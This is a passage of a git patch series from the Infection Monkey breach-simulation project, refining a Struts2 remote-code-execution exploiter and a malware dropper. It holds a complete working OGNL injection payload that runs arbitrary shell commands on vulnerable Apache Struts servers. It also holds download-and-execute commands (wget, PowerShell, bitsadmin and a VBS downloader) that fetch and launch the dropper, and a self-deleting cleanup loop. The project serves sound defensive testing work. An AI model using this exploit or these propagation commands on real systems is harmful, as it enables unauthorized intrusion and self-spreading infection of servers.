  • + ); + } + generateIssue = (issue) => { @@ -718,6 +740,9 @@ class ReportPageComponent extends AuthComponent { case 'azure_password': data = this.generateAzureIssue(issue); break; + case 'struts2': + data = this.generateStruts2Issue(issue); + break; } return data; }; From 208411d6fc2d83feeb90e5e3a1f55b5ec5dfbb5f Mon Sep 17 00:00:00 2001 From: Vakaris Date: Thu, 21 Jun 2018 00:10:56 +0300 Subject: [PATCH 14/22] Cosmetic changes --- infection_monkey/exploit/struts2.py | 8 +++----- 1 file changed, 3 insertions(+), 5 deletions(-) diff --git a/infection_monkey/exploit/struts2.py b/infection_monkey/exploit/struts2.py index 5bd26fbb7..6ed5a51ef 100644 --- a/infection_monkey/exploit/struts2.py +++ b/infection_monkey/exploit/struts2.py @@ -30,9 +30,8 @@ CHECK_LINUX = "echo %s && lscpu" % ID_STRING EXISTS = "ls %s" WEB_PORTS = [80, 443, 8080] -# Timeouts if the payload is wrong DOWNLOAD_TIMEOUT = 30 -# This is set so that we don't have to wait for monkeys' output (in seconds) +# In seconds. This is set so that we don't have to wait for monkeys' output. RESPONSE_TIMEOUT = 1 @@ -62,8 +61,6 @@ class Struts2Exploiter(HostExploiter): current_host = "http://%s:%d" % (self.host.ip_addr, port) # Get full URL url = self.get_redirected(current_host) - # Get os architecture so that we don't have to update monkey - LOG.info("Trying to exploit with struts2") # Check if host is vulnerable and get host os architecture if 'linux' in self.host.os['type']: @@ -87,7 +84,7 @@ class Struts2Exploiter(HostExploiter): if url and host_arch: LOG.info("Host is exploitable with struts2 RCE vulnerability") # If monkey already exists and option not to exploit in that case is selected - if self.skip_exist and (self.check_remote_file(url, dropper_path)): + if self.skip_exist and self.check_remote_file(url, dropper_path): return True src_path = get_target_monkey(self.host) @@ -194,6 +191,7 @@ class Struts2Exploiter(HostExploiter): try: return urllib2.urlopen(request).geturl() except urllib2.URLError: + LOG.error("Can't reach struts2 server") return False @staticmethod From 7ce790affa5cceaf2c2b1a7274e7163820297d82 Mon Sep 17 00:00:00 2001 From: Vakaris Date: Fri, 22 Jun 2018 14:55:52 +0300 Subject: [PATCH 15/22] Some notes fixed --- infection_monkey/exploit/struts2.py | 100 +++++++++++++++------------- infection_monkey/model/__init__.py | 10 +++ 2 files changed, 63 insertions(+), 47 deletions(-) diff --git a/infection_monkey/exploit/struts2.py b/infection_monkey/exploit/struts2.py index 6ed5a51ef..bec717028 100644 --- a/infection_monkey/exploit/struts2.py +++ b/infection_monkey/exploit/struts2.py @@ -8,31 +8,19 @@ import httplib import unicodedata import re -from network.tools import check_tcp_ports import logging from exploit import HostExploiter from exploit.tools import get_target_monkey, get_monkey_depth from tools import build_monkey_commandline, HTTPTools +from model import CHECK_LINUX, CHECK_WINDOWS, POWERSHELL_HTTP, WGET_HTTP, EXISTS, ID_STRING, DROPPER_ARG __author__ = "VakarisZ" LOG = logging.getLogger(__name__) -ID_STRING = "M0NK3YSTRUTS2" -MONKEY_ARG = "m0nk3y" -# Commands used for downloading monkeys -POWERSHELL_HTTP = "powershell -NoLogo -Command \"Invoke-WebRequest -Uri \\\'%%(http_path)s\\\' -OutFile \\\'%%(monkey_path)s\\\' -UseBasicParsing; %%(monkey_path)s %s %%(parameters)s\"" % (MONKEY_ARG, ) -WGET_HTTP = "wget -O %%(monkey_path)s %%(http_path)s && sudo chmod a+rwx %%(monkey_path)s && %%(monkey_path)s %s %%(parameters)s" % (MONKEY_ARG, ) -# Commands used to check for architecture -CHECK_WINDOWS = "echo %s && wmic os get osarchitecture" % ID_STRING -CHECK_LINUX = "echo %s && lscpu" % ID_STRING -# Commands used to check if monkeys already exists -EXISTS = "ls %s" +DOWNLOAD_TIMEOUT = 300 -WEB_PORTS = [80, 443, 8080] -DOWNLOAD_TIMEOUT = 30 -# In seconds. This is set so that we don't have to wait for monkeys' output. -RESPONSE_TIMEOUT = 1 +RDP_CMDLINE_HTTP_BITS = 'bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&&start /b %%(monkey_path)s %s %%(parameters)s' % (DROPPER_ARG, ) class Struts2Exploiter(HostExploiter): @@ -42,23 +30,24 @@ class Struts2Exploiter(HostExploiter): super(Struts2Exploiter, self).__init__(host) self._config = __import__('config').WormConfiguration self.skip_exist = self._config.skip_exploit_if_file_exist + self.HTTP = [str(port) for port in self._config.HTTP_PORTS] def exploit_host(self): - # Initializing vars for convenience - ports, _ = check_tcp_ports(self.host.ip_addr, WEB_PORTS) dropper_path_linux = self._config.dropper_target_path_linux dropper_path_win_32 = self._config.dropper_target_path_win_32 dropper_path_win_64 = self._config.dropper_target_path_win_64 + ports = self.get_exploitable_ports(self.host, self.HTTP, ["http"]) + if not ports: LOG.info("All web ports are closed on %r, skipping", self.host) return False for port in ports: - if port == 443: - current_host = "https://%s:%d" % (self.host.ip_addr, port) + if port[1]: + current_host = "https://%s:%s" % (self.host.ip_addr, port[0]) else: - current_host = "http://%s:%d" % (self.host.ip_addr, port) + current_host = "http://%s:%s" % (self.host.ip_addr, port[0]) # Get full URL url = self.get_redirected(current_host) LOG.info("Trying to exploit with struts2") @@ -103,7 +92,7 @@ class Struts2Exploiter(HostExploiter): command = WGET_HTTP % {'monkey_path': dropper_path, 'http_path': http_path, 'parameters': cmdline} - self.exploit(url, command, RESPONSE_TIMEOUT) + self.exploit(url, command) http_thread.join(DOWNLOAD_TIMEOUT) http_thread.stop() @@ -127,7 +116,7 @@ class Struts2Exploiter(HostExploiter): # If monkey already exists and option not to exploit in that case is selected if self.skip_exist: for dropper_path in dropper_paths: - if self.check_remote_file(url, dropper_path): + if self.check_remote_file(url, re.sub(r"\\", r"\\\\", dropper_path)): return True src_path = get_target_monkey(self.host) @@ -151,7 +140,13 @@ class Struts2Exploiter(HostExploiter): command = POWERSHELL_HTTP % {'monkey_path': re.sub(r"\\", r"\\\\", dropper_path), 'http_path': http_path, 'parameters': cmdline} - self.exploit(url, command, RESPONSE_TIMEOUT) + backup_command = RDP_CMDLINE_HTTP_BITS % {'monkey_path': re.sub(r"\\", r"\\\\", dropper_path), + 'http_path': http_path, 'parameters': cmdline} + + resp = self.exploit(url, command) + + if 'powershell is not recognized' in resp: + self.exploit(url, backup_command) http_thread.join(DOWNLOAD_TIMEOUT) http_thread.stop() @@ -195,33 +190,31 @@ class Struts2Exploiter(HostExploiter): return False @staticmethod - def exploit(url, cmd, timeout=None): + def exploit(url, cmd): """ :param url: Full url to send request to :param cmd: Code to try and execute on host - :param timeout: How long to wait for response in seconds(if monkey is being executed - it's better not to wait it's whole output). By default we wait. :return: response """ page = "" - payload = "%{(#_='multipart/form-data')." - payload += "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)." - payload += "(#_memberAccess?" - payload += "(#_memberAccess=#dm):" - payload += "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])." - payload += "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))." - payload += "(#ognlUtil.getExcludedPackageNames().clear())." - payload += "(#ognlUtil.getExcludedClasses().clear())." - payload += "(#context.setMemberAccess(#dm))))." - payload += "(#cmd='%s')." % cmd - payload += "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))." - payload += "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))." - payload += "(#p=new java.lang.ProcessBuilder(#cmds))." - payload += "(#p.redirectErrorStream(true)).(#process=#p.start())." - payload += "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))." - payload += "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))." - payload += "(#ros.flush())}" + payload = "%%{(#_='multipart/form-data')." \ + "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)." \ + "(#_memberAccess?" \ + "(#_memberAccess=#dm):" \ + "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])." \ + "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))." \ + "(#ognlUtil.getExcludedPackageNames().clear())." \ + "(#ognlUtil.getExcludedClasses().clear())." \ + "(#context.setMemberAccess(#dm))))." \ + "(#cmd='%s')." \ + "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))." \ + "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))." \ + "(#p=new java.lang.ProcessBuilder(#cmds))." \ + "(#p.redirectErrorStream(true)).(#process=#p.start())." \ + "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))." \ + "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))." \ + "(#ros.flush())}" % cmd # Turns payload ascii just for consistency if isinstance(payload, unicode): payload = unicodedata.normalize('NFKD', payload).encode('ascii', 'ignore') @@ -229,13 +222,26 @@ class Struts2Exploiter(HostExploiter): try: request = urllib2.Request(url, headers=headers) # Timeout added or else we would wait for all monkeys' output - page = urllib2.urlopen(request, timeout=timeout).read() + page = urllib2.urlopen(request).read() except AttributeError: # If url does not exist return False - except httplib.IncompleteRead, e: + except httplib.IncompleteRead as e: page = e.partial - except Exception: - LOG.info("Request timed out, because monkey is still running on remote host") return page + + @staticmethod + def get_exploitable_ports(host, port_list, names): + candidate_services = {} + for name in names: + chosen_services = { + service: host.services[service] for service in host.services if + ('name' in host.services[service]) and (host.services[service]['name'] == name) + } + candidate_services.update(chosen_services) + + valid_ports = [(port, candidate_services['tcp-' + str(port)]['data'][1]) for port in port_list if + 'tcp-' + str(port) in candidate_services] + + return valid_ports diff --git a/infection_monkey/model/__init__.py b/infection_monkey/model/__init__.py index 1296570e1..24fbf900e 100644 --- a/infection_monkey/model/__init__.py +++ b/infection_monkey/model/__init__.py @@ -4,6 +4,7 @@ __author__ = 'itamar' MONKEY_ARG = "m0nk3y" DROPPER_ARG = "dr0pp3r" +ID_STRING = "M0NK3Y3XPL0ITABLE" DROPPER_CMDLINE_WINDOWS = 'cmd /c %%(dropper_path)s %s' % (DROPPER_ARG, ) MONKEY_CMDLINE_WINDOWS = 'cmd /c %%(monkey_path)s %s' % (MONKEY_ARG, ) MONKEY_CMDLINE_LINUX = './%%(monkey_filename)s %s' % (MONKEY_ARG, ) @@ -14,3 +15,12 @@ MONKEY_CMDLINE_HTTP = 'cmd.exe /c "bitsadmin /transfer Update /download /priorit RDP_CMDLINE_HTTP_BITS = 'bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&&start /b %%(monkey_path)s %s %%(parameters)s' % (MONKEY_ARG, ) RDP_CMDLINE_HTTP_VBS = 'set o=!TMP!\!RANDOM!.tmp&@echo Set objXMLHTTP=CreateObject("WinHttp.WinHttpRequest.5.1")>!o!&@echo objXMLHTTP.open "GET","%%(http_path)s",false>>!o!&@echo objXMLHTTP.send()>>!o!&@echo If objXMLHTTP.Status=200 Then>>!o!&@echo Set objADOStream=CreateObject("ADODB.Stream")>>!o!&@echo objADOStream.Open>>!o!&@echo objADOStream.Type=1 >>!o!&@echo objADOStream.Write objXMLHTTP.ResponseBody>>!o!&@echo objADOStream.Position=0 >>!o!&@echo objADOStream.SaveToFile "%%(monkey_path)s">>!o!&@echo objADOStream.Close>>!o!&@echo Set objADOStream=Nothing>>!o!&@echo End if>>!o!&@echo Set objXMLHTTP=Nothing>>!o!&@echo Set objShell=CreateObject("WScript.Shell")>>!o!&@echo objShell.Run "%%(monkey_path)s %s %%(parameters)s", 0, false>>!o!&start /b cmd /c cscript.exe //E:vbscript !o!^&del /f /q !o!' % (MONKEY_ARG, ) DELAY_DELETE_CMD = 'cmd /c (for /l %%i in (1,0,2) do (ping -n 60 127.0.0.1 & del /f /q %(file_path)s & if not exist %(file_path)s exit)) > NUL 2>&1' + +# Commands used for downloading monkeys +POWERSHELL_HTTP = "powershell -NoLogo -Command \"Invoke-WebRequest -Uri \\\'%%(http_path)s\\\' -OutFile \\\'%%(monkey_path)s\\\' -UseBasicParsing; %%(monkey_path)s %s %%(parameters)s\"" % (DROPPER_ARG, ) +WGET_HTTP = "wget -O %%(monkey_path)s %%(http_path)s && chmod +x %%(monkey_path)s && %%(monkey_path)s %s %%(parameters)s" % (DROPPER_ARG, ) +# Commands used to check for architecture and if machine is exploitable +CHECK_WINDOWS = "echo %s && wmic os get osarchitecture" % ID_STRING +CHECK_LINUX = "echo %s && lscpu" % ID_STRING +# Commands used to check if monkeys already exists +EXISTS = "ls %s" \ No newline at end of file From 671452243d9b36a663c6b50cfe39d6c9600dfcc6 Mon Sep 17 00:00:00 2001 From: Vakaris Date: Mon, 25 Jun 2018 18:26:34 +0300 Subject: [PATCH 16/22] Fixed some bugs and more notes --- infection_monkey/exploit/struts2.py | 17 +++++++---------- infection_monkey/model/__init__.py | 3 +++ 2 files changed, 10 insertions(+), 10 deletions(-) diff --git a/infection_monkey/exploit/struts2.py b/infection_monkey/exploit/struts2.py index bec717028..409a7f1ef 100644 --- a/infection_monkey/exploit/struts2.py +++ b/infection_monkey/exploit/struts2.py @@ -12,7 +12,7 @@ import logging from exploit import HostExploiter from exploit.tools import get_target_monkey, get_monkey_depth from tools import build_monkey_commandline, HTTPTools -from model import CHECK_LINUX, CHECK_WINDOWS, POWERSHELL_HTTP, WGET_HTTP, EXISTS, ID_STRING, DROPPER_ARG +from model import CHECK_LINUX, CHECK_WINDOWS, POWERSHELL_HTTP, WGET_HTTP, EXISTS, ID_STRING, RDP_CMDLINE_HTTP_BITS_DROPPER __author__ = "VakarisZ" @@ -20,9 +20,6 @@ LOG = logging.getLogger(__name__) DOWNLOAD_TIMEOUT = 300 -RDP_CMDLINE_HTTP_BITS = 'bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&&start /b %%(monkey_path)s %s %%(parameters)s' % (DROPPER_ARG, ) - - class Struts2Exploiter(HostExploiter): _TARGET_OS_TYPE = ['linux', 'windows'] @@ -47,7 +44,8 @@ class Struts2Exploiter(HostExploiter): if port[1]: current_host = "https://%s:%s" % (self.host.ip_addr, port[0]) else: - current_host = "http://%s:%s" % (self.host.ip_addr, port[0]) + # TODO remove struts + current_host = "http://%s:%s/struts" % (self.host.ip_addr, port[0]) # Get full URL url = self.get_redirected(current_host) LOG.info("Trying to exploit with struts2") @@ -87,7 +85,7 @@ class Struts2Exploiter(HostExploiter): return False LOG.info("Started http server on %s", http_path) - cmdline = build_monkey_commandline(self.host, get_monkey_depth() - 1) + cmdline = build_monkey_commandline(self.host, get_monkey_depth() - 1, dropper_path) command = WGET_HTTP % {'monkey_path': dropper_path, 'http_path': http_path, 'parameters': cmdline} @@ -135,12 +133,13 @@ class Struts2Exploiter(HostExploiter): return False LOG.info("Started http server on %s", http_path) - cmdline = build_monkey_commandline(self.host, get_monkey_depth() - 1) + # We need to double escape backslashes. Once for payload, twice for command + cmdline = re.sub(r"\\", r"\\\\", build_monkey_commandline(self.host, get_monkey_depth() - 1, dropper_path)) command = POWERSHELL_HTTP % {'monkey_path': re.sub(r"\\", r"\\\\", dropper_path), 'http_path': http_path, 'parameters': cmdline} - backup_command = RDP_CMDLINE_HTTP_BITS % {'monkey_path': re.sub(r"\\", r"\\\\", dropper_path), + backup_command = RDP_CMDLINE_HTTP_BITS_DROPPER % {'monkey_path': re.sub(r"\\", r"\\\\", dropper_path), 'http_path': http_path, 'parameters': cmdline} resp = self.exploit(url, command) @@ -196,8 +195,6 @@ class Struts2Exploiter(HostExploiter): :param cmd: Code to try and execute on host :return: response """ - page = "" - payload = "%%{(#_='multipart/form-data')." \ "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)." \ "(#_memberAccess?" \ diff --git a/infection_monkey/model/__init__.py b/infection_monkey/model/__init__.py index 24fbf900e..4f0b22b27 100644 --- a/infection_monkey/model/__init__.py +++ b/infection_monkey/model/__init__.py @@ -19,8 +19,11 @@ DELAY_DELETE_CMD = 'cmd /c (for /l %%i in (1,0,2) do (ping -n 60 127.0.0.1 & del # Commands used for downloading monkeys POWERSHELL_HTTP = "powershell -NoLogo -Command \"Invoke-WebRequest -Uri \\\'%%(http_path)s\\\' -OutFile \\\'%%(monkey_path)s\\\' -UseBasicParsing; %%(monkey_path)s %s %%(parameters)s\"" % (DROPPER_ARG, ) WGET_HTTP = "wget -O %%(monkey_path)s %%(http_path)s && chmod +x %%(monkey_path)s && %%(monkey_path)s %s %%(parameters)s" % (DROPPER_ARG, ) +RDP_CMDLINE_HTTP_BITS_DROPPER = 'bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&&start /b %%(monkey_path)s %s %%(parameters)s' % (DROPPER_ARG, ) + # Commands used to check for architecture and if machine is exploitable CHECK_WINDOWS = "echo %s && wmic os get osarchitecture" % ID_STRING CHECK_LINUX = "echo %s && lscpu" % ID_STRING + # Commands used to check if monkeys already exists EXISTS = "ls %s" \ No newline at end of file From 6a37f2b95362d2cd57894fe3f818b27c246b2358 Mon Sep 17 00:00:00 2001 From: Vakaris Date: Mon, 25 Jun 2018 19:11:58 +0300 Subject: [PATCH 17/22] removed debugging code --- infection_monkey/exploit/struts2.py | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/infection_monkey/exploit/struts2.py b/infection_monkey/exploit/struts2.py index 409a7f1ef..26322c10d 100644 --- a/infection_monkey/exploit/struts2.py +++ b/infection_monkey/exploit/struts2.py @@ -44,8 +44,7 @@ class Struts2Exploiter(HostExploiter): if port[1]: current_host = "https://%s:%s" % (self.host.ip_addr, port[0]) else: - # TODO remove struts - current_host = "http://%s:%s/struts" % (self.host.ip_addr, port[0]) + current_host = "http://%s:%s" % (self.host.ip_addr, port[0]) # Get full URL url = self.get_redirected(current_host) LOG.info("Trying to exploit with struts2") From c278b0a29c7ce0c27a7a88c70fc6240ccd654851 Mon Sep 17 00:00:00 2001 From: Vakaris Date: Tue, 26 Jun 2018 18:03:31 +0300 Subject: [PATCH 18/22] Small changes --- infection_monkey/exploit/struts2.py | 9 ++++++--- infection_monkey/model/__init__.py | 2 +- 2 files changed, 7 insertions(+), 4 deletions(-) diff --git a/infection_monkey/exploit/struts2.py b/infection_monkey/exploit/struts2.py index 26322c10d..3a08d0487 100644 --- a/infection_monkey/exploit/struts2.py +++ b/infection_monkey/exploit/struts2.py @@ -12,7 +12,8 @@ import logging from exploit import HostExploiter from exploit.tools import get_target_monkey, get_monkey_depth from tools import build_monkey_commandline, HTTPTools -from model import CHECK_LINUX, CHECK_WINDOWS, POWERSHELL_HTTP, WGET_HTTP, EXISTS, ID_STRING, RDP_CMDLINE_HTTP_BITS_DROPPER +from model import CHECK_LINUX, CHECK_WINDOWS, POWERSHELL_HTTP, WGET_HTTP, EXISTS, ID_STRING, RDP_CMDLINE_HTTP, \ + DROPPER_ARG __author__ = "VakarisZ" @@ -71,6 +72,7 @@ class Struts2Exploiter(HostExploiter): LOG.info("Host is exploitable with struts2 RCE vulnerability") # If monkey already exists and option not to exploit in that case is selected if self.skip_exist and self.check_remote_file(url, dropper_path): + LOG.info("Host %s was already infected under the current configuration, done" % self.host) return True src_path = get_target_monkey(self.host) @@ -114,6 +116,7 @@ class Struts2Exploiter(HostExploiter): if self.skip_exist: for dropper_path in dropper_paths: if self.check_remote_file(url, re.sub(r"\\", r"\\\\", dropper_path)): + LOG.info("Host %s was already infected under the current configuration, done" % self.host) return True src_path = get_target_monkey(self.host) @@ -138,8 +141,8 @@ class Struts2Exploiter(HostExploiter): command = POWERSHELL_HTTP % {'monkey_path': re.sub(r"\\", r"\\\\", dropper_path), 'http_path': http_path, 'parameters': cmdline} - backup_command = RDP_CMDLINE_HTTP_BITS_DROPPER % {'monkey_path': re.sub(r"\\", r"\\\\", dropper_path), - 'http_path': http_path, 'parameters': cmdline} + backup_command = RDP_CMDLINE_HTTP % {'monkey_path': re.sub(r"\\", r"\\\\", dropper_path), + 'http_path': http_path, 'parameters': cmdline, 'type': DROPPER_ARG} resp = self.exploit(url, command) diff --git a/infection_monkey/model/__init__.py b/infection_monkey/model/__init__.py index 4f0b22b27..a2a1e18bb 100644 --- a/infection_monkey/model/__init__.py +++ b/infection_monkey/model/__init__.py @@ -19,7 +19,7 @@ DELAY_DELETE_CMD = 'cmd /c (for /l %%i in (1,0,2) do (ping -n 60 127.0.0.1 & del # Commands used for downloading monkeys POWERSHELL_HTTP = "powershell -NoLogo -Command \"Invoke-WebRequest -Uri \\\'%%(http_path)s\\\' -OutFile \\\'%%(monkey_path)s\\\' -UseBasicParsing; %%(monkey_path)s %s %%(parameters)s\"" % (DROPPER_ARG, ) WGET_HTTP = "wget -O %%(monkey_path)s %%(http_path)s && chmod +x %%(monkey_path)s && %%(monkey_path)s %s %%(parameters)s" % (DROPPER_ARG, ) -RDP_CMDLINE_HTTP_BITS_DROPPER = 'bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&&start /b %%(monkey_path)s %s %%(parameters)s' % (DROPPER_ARG, ) +RDP_CMDLINE_HTTP = 'bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&&start /b %%(monkey_path)s %%(type)s %%(parameters)s' # Commands used to check for architecture and if machine is exploitable CHECK_WINDOWS = "echo %s && wmic os get osarchitecture" % ID_STRING From 35b535f97a63f477473567aaa6f49fc61e8fcc89 Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Sun, 8 Jul 2018 12:14:25 +0300 Subject: [PATCH 19/22] Removed hard coded debug address and replaced with non routable IP --- infection_monkey/config.py | 2 +- infection_monkey/example.conf | 4 ++-- monkey_island/cc/services/config.py | 4 ++-- 3 files changed, 5 insertions(+), 5 deletions(-) diff --git a/infection_monkey/config.py b/infection_monkey/config.py index 41ecd1d91..4687237b8 100644 --- a/infection_monkey/config.py +++ b/infection_monkey/config.py @@ -163,7 +163,7 @@ class Configuration(object): # Configuration servers to try to connect to, in this order. command_servers = [ - "41.50.73.31:5000" + "192.0.2.0:5000" ] # sets whether or not to locally save the running configuration after finishing diff --git a/infection_monkey/example.conf b/infection_monkey/example.conf index 6e8638742..5d217ce70 100644 --- a/infection_monkey/example.conf +++ b/infection_monkey/example.conf @@ -1,6 +1,6 @@ { "command_servers": [ - "41.50.73.31:5000" + "192.0.2.0:5000" ], "internet_services": [ "monkey.guardicore.com", @@ -11,7 +11,7 @@ "" ], "blocked_ips": [""], - "current_server": "41.50.73.31:5000", + "current_server": "192.0.2.0:5000", "alive": true, "collect_system_info": true, "extract_azure_creds": true, diff --git a/monkey_island/cc/services/config.py b/monkey_island/cc/services/config.py index ebcf2a3ea..f67c45c7b 100644 --- a/monkey_island/cc/services/config.py +++ b/monkey_island/cc/services/config.py @@ -545,7 +545,7 @@ SCHEMA = { "type": "string" }, "default": [ - "41.50.73.31:5000" + "192.0.2.0:5000" ], "description": "List of command servers to try and communicate with (format is :)" }, @@ -567,7 +567,7 @@ SCHEMA = { "current_server": { "title": "Current server", "type": "string", - "default": "41.50.73.31:5000", + "default": "192.0.2.0:5000", "description": "The current command server the monkey is communicating with" } } From d853e02693134c3a756da91b813c2973a96d27e6 Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Tue, 17 Jul 2018 13:08:08 +0300 Subject: [PATCH 20/22] Remove FTP server from infra New FTP server will come from pyftp --- infection_monkey/transport/__init__.py | 1 - infection_monkey/transport/ftp.py | 174 ------------------------- 2 files changed, 175 deletions(-) delete mode 100644 infection_monkey/transport/ftp.py diff --git a/infection_monkey/transport/__init__.py b/infection_monkey/transport/__init__.py index 651964fcb..14a0d68b2 100644 --- a/infection_monkey/transport/__init__.py +++ b/infection_monkey/transport/__init__.py @@ -1,4 +1,3 @@ -from ftp import FTPServer from http import HTTPServer __author__ = 'hoffer' diff --git a/infection_monkey/transport/ftp.py b/infection_monkey/transport/ftp.py deleted file mode 100644 index c90f8c484..000000000 --- a/infection_monkey/transport/ftp.py +++ /dev/null @@ -1,174 +0,0 @@ -import socket, threading, time -import StringIO - -__author__ = 'hoffer' - - -class FTPServer(threading.Thread): - def __init__(self, local_ip, local_port, files): - self.files=files - self.cwd='/' - self.mode='I' - self.rest=False - self.pasv_mode=False - self.local_ip = local_ip - self.local_port = local_port - threading.Thread.__init__(self) - - def run(self): - self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - self.sock.bind((self.local_ip,self.local_port)) - self.sock.listen(1) - - self.conn, self.addr = self.sock.accept() - - self.conn.send('220 Welcome!\r\n') - while True: - if 0 == len(self.files): - break - cmd=self.conn.recv(256) - if not cmd: break - else: - try: - func=getattr(self,cmd[:4].strip().upper()) - func(cmd) - except Exception as e: - self.conn.send('500 Sorry.\r\n') - break - - self.conn.close() - self.sock.close() - - def SYST(self,cmd): - self.conn.send('215 UNIX Type: L8\r\n') - def OPTS(self,cmd): - if cmd[5:-2].upper()=='UTF8 ON': - self.conn.send('200 OK.\r\n') - else: - self.conn.send('451 Sorry.\r\n') - def USER(self,cmd): - self.conn.send('331 OK.\r\n') - - def PASS(self,cmd): - self.conn.send('230 OK.\r\n') - - def QUIT(self,cmd): - self.conn.send('221 Goodbye.\r\n') - - def NOOP(self,cmd): - self.conn.send('200 OK.\r\n') - - def TYPE(self,cmd): - self.mode=cmd[5] - self.conn.send('200 Binary mode.\r\n') - - def CDUP(self,cmd): - self.conn.send('200 OK.\r\n') - - def PWD(self,cmd): - self.conn.send('257 \"%s\"\r\n' % self.cwd) - - def CWD(self,cmd): - self.conn.send('250 OK.\r\n') - - def PORT(self,cmd): - if self.pasv_mode: - self.servsock.close() - self.pasv_mode = False - l = cmd[5:].split(',') - self.dataAddr='.'.join(l[:4]) - self.dataPort=(int(l[4])<<8)+int(l[5]) - self.conn.send('200 Get port.\r\n') - - def PASV(self,cmd): - self.pasv_mode = True - self.servsock = socket.socket(socket.AF_INET,socket.SOCK_STREAM) - self.servsock.bind((self.local_ip,0)) - self.servsock.listen(1) - ip, port = self.servsock.getsockname() - self.conn.send('227 Entering Passive Mode (%s,%u,%u).\r\n' % - (','.join(ip.split('.')), port>>8&0xFF, port&0xFF)) - - def start_datasock(self): - if self.pasv_mode: - self.datasock, addr = self.servsock.accept() - else: - self.datasock=socket.socket(socket.AF_INET,socket.SOCK_STREAM) - self.datasock.connect((self.dataAddr,self.dataPort)) - - def stop_datasock(self): - self.datasock.close() - if self.pasv_mode: - self.servsock.close() - - def LIST(self,cmd): - self.conn.send('150 Here comes the directory listing.\r\n') - self.start_datasock() - for fn in self.files.keys(): - k=self.toListItem(fn) - self.datasock.send(k+'\r\n') - self.stop_datasock() - self.conn.send('226 Directory send OK.\r\n') - - def toListItem(self,fn): - fullmode='rwxrwxrwx' - mode = '' - d = '-' - ftime=time.strftime(' %b %d %H:%M ', time.gmtime()) - return d+fullmode+' 1 user group '+str(self.files[fn].tell())+ftime+fn - - def MKD(self,cmd): - self.conn.send('257 Directory created.\r\n') - - def RMD(self,cmd): - self.conn.send('450 Not allowed.\r\n') - - def DELE(self,cmd): - self.conn.send('450 Not allowed.\r\n') - - def SIZE(self,cmd): - self.conn.send('450 Not allowed.\r\n') - - def RNFR(self,cmd): - self.conn.send('350 Ready.\r\n') - - def RNTO(self,cmd): - self.conn.send('250 File renamed.\r\n') - - def REST(self,cmd): - self.pos=int(cmd[5:-2]) - self.rest=True - self.conn.send('250 File position reseted.\r\n') - - def RETR(self,cmd): - fn = cmd[5:-2] - if self.mode=='I': - fi=self.files[fn] - else: - fi=self.files[fn] - self.conn.send('150 Opening data connection.\r\n') - if self.rest: - fi.seek(self.pos) - self.rest=False - data= fi.read(1024) - self.start_datasock() - while data: - self.datasock.send(data) - data=fi.read(1024) - fi.close() - del self.files[fn] - self.stop_datasock() - self.conn.send('226 Transfer complete.\r\n') - - def STOR(self,cmd): - fn = cmd[5:-2] - fo = StringIO.StringIO() - self.conn.send('150 Opening data connection.\r\n') - self.start_datasock() - while True: - data=self.datasock.recv(1024) - if not data: break - fo.write(data) - fo.seek(0) - self.stop_datasock() - self.conn.send('226 Transfer complete.\r\n') From dfecc6d6aca0cf479952e23e2b0fbbc632ac553e Mon Sep 17 00:00:00 2001 From: Vakaris Date: Wed, 18 Jul 2018 12:44:19 +0300 Subject: [PATCH 21/22] os.path.samefile does not work on windows. My code checks if files handlers are the same instead --- infection_monkey/dropper.py | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/infection_monkey/dropper.py b/infection_monkey/dropper.py index 6e63e5404..f60e8894a 100644 --- a/infection_monkey/dropper.py +++ b/infection_monkey/dropper.py @@ -56,7 +56,10 @@ class MonkeyDrops(object): return False # we copy/move only in case path is different - file_moved = os.path.samefile(self._config['source_path'], self._config['destination_path']) + try: + file_moved = os.stat(self._config['source_path']) == os.stat(self._config['destination_path']) + except OSError: + file_moved = False if not file_moved and os.path.exists(self._config['destination_path']): os.remove(self._config['destination_path']) From d78e81db06d01d25e813b3a2e8a9ebc280852ce7 Mon Sep 17 00:00:00 2001 From: Vakaris Date: Wed, 18 Jul 2018 20:48:15 +0300 Subject: [PATCH 22/22] Changed to a better file comparison function --- infection_monkey/dropper.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/infection_monkey/dropper.py b/infection_monkey/dropper.py index f60e8894a..c135dcddb 100644 --- a/infection_monkey/dropper.py +++ b/infection_monkey/dropper.py @@ -9,6 +9,7 @@ import sys import time from ctypes import c_char_p +import filecmp from config import WormConfiguration from exploit.tools import build_monkey_commandline_explicitly from model import MONKEY_CMDLINE_WINDOWS, MONKEY_CMDLINE_LINUX, GENERAL_CMDLINE_LINUX @@ -57,7 +58,7 @@ class MonkeyDrops(object): # we copy/move only in case path is different try: - file_moved = os.stat(self._config['source_path']) == os.stat(self._config['destination_path']) + file_moved = filecmp.cmp(self._config['source_path'], self._config['destination_path']) except OSError: file_moved = False